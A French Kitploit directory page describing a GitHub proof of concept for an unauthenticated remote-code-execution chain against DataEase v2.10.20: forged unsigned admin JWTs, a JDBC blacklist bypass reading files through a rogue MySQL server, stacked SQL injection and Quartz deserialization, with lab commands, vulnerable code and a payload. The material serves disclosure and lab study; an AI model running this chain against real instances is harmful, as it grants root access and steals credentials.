Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/joaovicdev/exploit-cve-2026-40901
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubjoaovicdev/exploit-cve-2026-40901

EXPLOIT-CVE-2026-40901

Voir le dépôt
126il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit automatisé pour DataEase : chaîne de 4 vulnérabilités (contournement d'authentification, contournement de la liste noire JDBC, injection SQL, désérialisation Java) permettant une exécution de code à distance non authentifiée. Comprend un laboratoire Docker et un PoC Python.

Partager

DataEase — RCE sans authentification via une chaîne de 4 vulnérabilités (CVE-2026-40901 et autres)

Contournement d'authentification → contournement de la liste noire JDBC (lecture arbitraire de fichiers) → injection SQL → Désérialisation Java dans Quartz → exécution de code à distance en tant que root.

Laboratoire local autonome (Docker) + PoC fonctionnel. Corrigé dans DataEase v2.10.21.

DataEase est une plateforme open-source populaire de BI / visualisation de données (Java / Spring Boot). Les versions ≤ v2.10.20 sont vulnérables à une chaîne de quatre problèmes qui, combinés, transforment une instance DataEase accessible depuis le réseau en exécution de code à distance :

#CVEClasseCe que ça nous donne
1CVE-2026-23958Contournement d'authentification (CWE-287/CWE-347)Agir en tant que admin — aucune signature valide requise
2CVE-2026-40899Contournement de la liste noire JDBC (CWE-20)Lecture arbitraire de fichiers → vol des identifiants de la BDD back-end
3CVE-2026-40900Injection SQL / requêtes empilées (CWE-89)Écrire dans la base de données de DataEase elle-même
4CVE-2026-40901Désérialisation Java (CWE-502)RCE en tant que root via le job store de Quartz

TL;DR

# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)

# 2. fire the chain
python3 exploit/de_rce_chain.py

# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux

Configuration du laboratoire

Tout s'exécute localement dans Docker. Aucun service externe, aucune cible internet.

docker-compose.yml         vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml   repoints the DB at the local mysql-de
mysql/                     my.cnf + init.sql (creates the empty `dataease` DB)
exploit/                   the PoC

Lancement :

docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
  • Interface web / API : http://localhost:8100 (préfixe API /de2api)
  • Identifiants par défaut fournis par DataEase : admin / DataEase@123456
  • La JVM de DataEase s'exécute en tant que root dans son conteneur — notre shell est donc root.

Prérequis sur l'hôte : Docker, Python 3.8+ avec cryptography (pip install -r exploit/requirements.txt), et le CLI Docker (utilisé pour exécuter ysoserial dans un conteneur jetable eclipse-temurin:8-jre afin de construire le gadget).


La chaîne, étape par étape

1. CVE-2026-23958 — contournement de l'authentification

DataEase authentifie les requêtes dans un filtre de servlet, TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). Il lit le jeton et appelle TokenUtils.validate(), qui aboutit à :

// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
    DecodedJWT jwt = JWT.decode(token);        // <-- decode only, NO signature check
    Long userId = jwt.getClaim("uid").asLong();
    Long oid    = jwt.getClaim("oid").asLong();
    ...
    return new TokenUserBO(userId, oid);
}

JWT.decode() ne vérifie jamais la signature. Les seules vérifications sont : le jeton fait au moins 100 caractères et porte une revendication uid entière. Ainsi, n'importe quel JWT indiquant "uid": 1 fait s'exécuter la requête en tant qu'administrateur intégré (uid 1).

Il existe un second filtre (CommunityTokenFilter) qui, lui, vérifie une signature pour l'en-tête X-DE-TOKEN — mais seulement dans des conditions spécifiques, et la clé de signature est soit un secret propre à chaque utilisateur, soit, dans une version communautaire de base, le MD5 du mot de passe par défaut codé en dur DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). Le chemin compagnon share-link (X-DE-LINK-TOKEN) est signé avec la clé codée en dur link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) et, avant le correctif, était lui aussi décodé sans vérification.

Effet net : un attaquant peut forger un jeton d'administrateur. de_common.py inclut forge_jwt(), qui produit le jeton sans signature ; le PoC prend également en charge la simple connexion avec les identifiants par défaut omniprésents afin d'obtenir un X-DE-TOKEN entièrement valide pour le reste de la chaîne.

Le correctif (commit 00c169caa) fait que TokenFilter recherche le véritable secret propre à chaque ressource et appelle réellement verifier.verify(...).

2. CVE-2026-40899 — contournement de la liste noire JDBC → lecture arbitraire de fichiers

Lorsque vous ajoutez une source de données MySQL, DataEase refuse un ensemble de paramètres JDBC dangereux. Cette liste noire se trouve dans un champ Lombok @Data :

// io.dataease.datasource.type.Mysql   (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
    "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
    "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
    "allowLoadLocalInfileInPath");

Comme @Data génère automatiquement setIllegalParameters(...), Jackson peut sans difficulté le remplir à partir d'un JSON contrôlé par l'attaquant. L'envoi de "illegalParameters": [] dans le blob configuration (encodé en Base64) vide la liste noire avant qu'elle ne soit vérifiée. Nous pouvons alors pointer la source de données vers un serveur MySQL malveillant avec allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ et lire des fichiers arbitraires depuis l'hôte DataEase via le mécanisme MySQL LOCAL INFILE.

# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
        --file /opt/apps/config/application-standalone.yml

# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307

Résultat — DataEase nous livre ses propres identifiants de base de données back-end :

[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
  spring:
    datasource:
      url: jdbc:mysql://mysql-de:3306/dataease?...
      username: root
      password: Password123@mysql

Ces identifiants sont ce qu'un attaquant utilise pour orienter l'étape 3 vers la base de données de DataEase elle-même. Le correctif (commit 16a950f96) ajoute @JsonIgnore à chaque champ illegalParameters afin qu'il ne puisse plus être défini à partir de JSON.

3. CVE-2026-40900 — injection SQL (requêtes empilées) dans previewSql

POST /de2api/datasetData/previewSql prend une chaîne SQL encodée en Base64 et, avec aucune validation de type « une seule instruction », l'encapsule comme sous-requête :

SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0

Les commentaires sont supprimés, mais nous pouvons équilibrer les parenthèses et utiliser ; pour exécuter des instructions supplémentaires. Comme nous contrôlons la source de données, nous activons allowMultiQueries=true (absent de la liste noire dans v2.10.20), donc les requêtes empilées s'exécutent :

select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
Télécharger l’outil